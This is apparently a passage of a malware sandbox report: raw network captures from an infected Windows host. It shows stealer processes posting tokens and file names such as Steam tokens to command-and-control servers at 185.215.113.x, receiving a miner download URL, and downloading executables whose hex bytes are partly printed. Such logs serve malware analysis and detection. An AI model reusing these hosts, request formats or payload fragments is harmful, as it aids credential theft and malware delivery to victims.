xfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 23, 2024 15:23:13.979722977 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHC Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="message"files------DGHCBAAEHCFIDGDHJEHC--
Nov 23, 2024 15:23:14.428632021 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 15:23:14.460516930 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHCGCGCFHIDBFHIIJKJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="file"------KEHCGCGCFHIDBFHIIJKJ--
Nov 23, 2024 15:23:15.419754982 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 15:23:15.433186054 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="message"ybncbhylepme------JJJEGHDAECBFHJKEGIJK--
Nov 23, 2024 15:23:15.884116888 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49916	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:54.231368065 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008455001&unit=246122658369
Nov 23, 2024 15:22:55.655734062 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49923	185.215.113.16	80	1244	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:55.416168928 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 15:22:56.827738047 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:56 GMT Content-Type: application/octet-stream Content-Length: 2805248 Last-Modified: Sat, 23 Nov 2024 13:20:21 GMT Connection: keep-alive ETag: "6741d695-2ace00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 56 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +V8+`Ui` @ @.rsrc`2@.idata 8@idwitinvl:@mjfbzujg +@.taggant@@+"@
Nov 23, 2024 15:22:56.827796936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:56.827810049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:56.827874899 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:56.827893019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:56.827905893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:56.827918053 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:56.828032017 CET	1236	IN	Data Raw: ff bb c8 2c e7 1e cf f7 50 0f c9 6f 60 39 24 1c f4 c2 c3 0d b1 64 2d cc a2 49 13 f1 2a c4 9c fb 58 37 75 88 2c 26 62 4c 88 8e 05 26 dd 60 bf ec 01 48 ef 1d 45 b5 cc e1 51 66 ca e3 01 b0 90 fa 1d bd df 2d e7 b2 db 45 b3 59 e8 e7 63 5f ca 7c 95 96 Data Ascii: ,Po`9$d-I*X7u,&bL&`HEQf-EYc_\|Ebm6xkjaY[>g@G#xkZ{)AdFi1d%{y]r}}+"_QR6E];UCHP6[%Vd`d
Nov 23, 2024 15:22:56.828043938 CET	1236	IN	Data Raw: 83 ba f1 47 3b ba e5 0b f4 af 6a 26 7a 57 f3 9e 90 6f df 23 ef 64 0d 11 a1 32 05 36 1b 77 d5 2c 91 6f 15 0c ff 17 19 2d 8c a4 5b ae 1a ba 31 2c 91 1b f1 5f ef 73 c1 19 4d de 38 62 93 57 4d 09 e1 56 75 82 79 3b dc b5 1a 37 fd 2c d1 46 55 7e e9 ff Data Ascii: G;j&zWo#d26w,o-[1,_sM8bWMVuy;7,FU~nJTel8_E}?YLm<!h`V2o*3Ry%>;!C"_^lqXoV@aAl,Oe""<SvD9\;K7Sw:yodlu<fendC
Nov 23, 2024 15:22:56.828054905 CET	1236	IN	Data Raw: 5c 5d d8 36 e5 7f f1 fa 40 12 a1 2c 68 93 e3 98 6d a4 f7 5f ab 4a 05 d9 66 01 22 51 4e 9f 35 c8 b4 52 23 5f 6d 3e 17 eb 82 00 b4 fd 71 45 14 c9 40 b7 35 3c 7b 14 60 4a 01 a7 53 4a b2 04 c1 82 e8 4a 3d 21 0f 00 25 37 6c 8d 76 2f d3 ea f9 7b 10 91 Data Ascii: \]6@,hm_Jf"QN5R#_m>qE@5<{`JSJJ=!%7lv/{xb[CcI<PYOx6v<JUN$JUU,YmYEQMyP#.MMVZOnWN3uOjb6az2@q^#QWkElk
Nov 23, 2024 15:22:56.952287912 CET	1236	IN	Data Raw: 52 72 a8 d2 08 43 d2 03 0d df c5 e8 36 a3 17 0f 7d 4a e3 6c 7d 43 31 fe 62 6d bd 56 7c b2 ae 1f 7d b3 2b 30 92 46 07 bd ef 9e bf 69 5e f4 ed 9e 93 f9 3a 2b 5c 15 e9 ef 91 a5 e7 38 b3 06 3d 30 63 18 2f 2d 4d 04 30 e1 10 5a ce bc 20 10 c2 6a b1 9f Data Ascii: RrC6}Jl}C1bmV\|}+0Fi^:+\8=0c/-M0Z j%bfo$UPGuYW*h$te)x!Pb)gQ;yWk~>vRH<sfpoFSBkF;.Y5rt0~~/S]\|[=>XJ^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49925	34.107.221.82	80	6628	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:56.696764946 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49932	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:57.404202938 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:22:58.782980919 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49939	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:00.425564051 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:23:01.864748001 CET	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 38 34 35 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1008456001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49946	31.41.244.11	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:01.991740942 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 15:23:03.376305103 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:03 GMT Content-Type: application/octet-stream Content-Length: 4373504 Last-Modified: Sat, 23 Nov 2024 12:37:39 GMT Connection: keep-alive ETag: "6741cc93-42bc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 f0 c3 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 c4 00 00 04 00 00 64 c6 42 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 d9 c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 d9 c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@ dB@ _qsX px'@.rsrc p'@.idata q'@ 7q'@ivdotsri'@cxbxaeveB@.taggant0"B@
Nov 23, 2024 15:23:03.376347065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:03.376358986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:03.376372099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:23:03.376435041 CET	896	IN	Data Raw: 41 a5 03 7a 8f 32 0b 81 24 78 cc 4a 60 89 18 23 7c 73 19 4e 9c 30 0c 04 b1 df 8b 01 18 aa 33 e7 6f bd 51 fe 5d ed 3c da 22 71 56 f2 78 a5 1d 8d 6a aa fa 3d 88 30 a8 83 06 91 4c 42 09 91 14 a3 bd 9b c3 0e a5 0b fa c4 ed d5 1a 4d 00 33 b8 f4 03 90 Data Ascii: Az2$xJ`#\|sN03oQ]<"qVxj=0LBM3h\_9u(L[2\|,A@ g+}/!#X%d=\<x$Y;qU@j;a5x.\|D'(?efHf3aB0H8PW\|}zgZ}% NgHF
Nov 23, 2024 15:23:03.376446962 CET	1236	IN	Data Raw: 4f d2 63 0f c7 e3 21 83 bc aa 4c 09 f8 e2 48 9a 5b 65 9c 0c fc 16 9a 61 cc e1 8f de c3 12 2c 8f 0e 61 7f 27 07 14 0e 70 0f 11 d8 cc a0 18 7e e3 29 88 79 ba e6 b5 b1 bc 78 40 8c a2 8c 91 ed e8 a4 6b 1f d1 a1 22 94 d4 22 08 5c 95 68 c2 f9 b1 24 05 Data Ascii: Oc!LH[ea,a'p~)yx@k""\h$b0Iz[)[gY5NI93(Fx)iCL-!e=&E)b%S,cK- yyJeM~Ceu`sTTVxK3QYK$4N/l?5.z3
Nov 23, 2024 15:23:03.376456976 CET	224	IN	Data Raw: 2d 91 87 07 12 74 fc 07 58 05 05 76 0c 8e 34 5a 49 f5 31 0d c7 d1 cd 10 4e a6 70 d3 47 f8 38 5a 0c da 62 c7 45 a8 ce 55 31 1d 21 83 38 01 3b 0b 73 03 78 55 91 90 50 1f 25 01 70 e6 1a f0 58 7f 57 2d b7 67 06 b8 74 46 0c 51 59 1b 7b da cb 20 72 0f Data Ascii: -tXv4ZI1NpG8ZbEU1!8;sxUP%pXW-gtFQY{ rHKy0Ehl7VrMz";0m6-f7@t$IU,]AgS-5dtZ.T@[u2oHqvpImq6I3K
Nov 23, 2024 15:23:03.376522064 CET	1236	IN	Data Raw: 29 bb 2d 0b 2f 2b 6b 43 8f 84 28 4f 33 b4 9e 31 3c 09 12 c0 b0 49 8a df e3 9b df e6 70 6a 92 71 e6 ad 41 7c 79 2a 9e ea 81 b1 23 c7 0a b4 28 a8 3f 3e de 9a 02 b0 12 95 45 b3 95 80 a8 0c 9c 4e e5 19 3d 87 2c 18 c1 e4 03 8a fd c0 f6 76 67 da ad 7b Data Ascii: )-/+kC(O31<IpjqA\|y#(?>EN=,vg{e>s?@7wHwCZ1%wy "UD\|U9?pf:(67YoCfsVdLd\|5<AA7pTu[]A+1z:/xgod[E
Nov 23, 2024 15:23:03.376538992 CET	1236	IN	Data Raw: 24 2c f1 a0 ce f0 96 53 2d ed 9e 53 ba 21 20 e6 2f c5 41 41 6c b5 07 53 45 04 0a c4 21 58 7e 2f 5d 0f f3 d8 83 c1 15 c0 97 27 c1 cf a4 b7 6b 49 64 ad 87 31 0d f5 d2 0d e0 7c e4 f2 1b d7 1c c8 6d 30 3e 42 c2 90 08 a9 00 b7 48 44 ae 5e 22 12 a3 ff Data Ascii: $,S-S! /AAlSE!X~/]'kId1\|m0>BHD^"2\|#@q(;Tb$zq%Fw#8v@bF,v$Ir}C7`1(<z2%0i%C\|O}I1#FuuE"$Rln~XlsXI+0R
Nov 23, 2024 15:23:03.376550913 CET	1236	IN	Data Raw: e0 21 6c a2 bd ab 98 8a 2c 3e 1d 6b 38 49 b2 07 23 99 9b cb 47 8a ba d4 09 78 10 d5 71 64 76 1a 7a f7 8a ca e3 44 01 9c cb a8 bb f3 5f 65 8b 19 e4 b5 9c 44 bd c4 d7 ec 4f e7 b6 8a fc 93 b6 b5 55 c3 a1 c7 e8 28 c9 31 5f 48 0f 0c 83 26 58 ec 21 e4 Data Ascii: !l,>k8I#GxqdvzD_eDOU(1_H&X!@.T\|07w'@aE;EJ7w%#]G7ZHsgDN!hA]VL$x/=/\|Df:S38^@T4CQ^+q1-9Zwm(D^[hD
Nov 23, 2024 15:23:03.496011019 CET	1236	IN	Data Raw: 5e 72 6a f8 a3 d9 ec 3e f0 74 87 8e 7a 1d 78 a3 5e 1e b8 d1 83 3e 2a ef e3 14 62 19 b4 f6 3e a3 36 95 7b e0 8c 3f 0a da d6 aa 46 67 48 98 7d 58 1f cb 9d ee 0d 09 d0 61 30 94 55 4d 1d f3 c7 92 b4 10 66 d2 0f f8 93 94 43 61 ea e1 0b 3c cb ce e3 7f Data Ascii: ^rj>tzx^>*b>6{?FgH}Xa0UMfCa<Yn\|g@4?~S45@6{r%(5C9.NFtCA@yb1YTG&r5$vGn\s )#HEpze<8;J[%Y8R-Q Bu#/v64ed0xsoO~Tcdte=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49964	185.215.113.16	80	2484	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:23:08.962021112 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 15:23:10.332285881 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:23:10 GMT Content-Type: application/octet-stream Content-Length: 2805248 Last-Modified: Sat, 23 Nov 2024 13:20:21 GMT Connection: keep-alive ETag: "6741d695-2ace00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 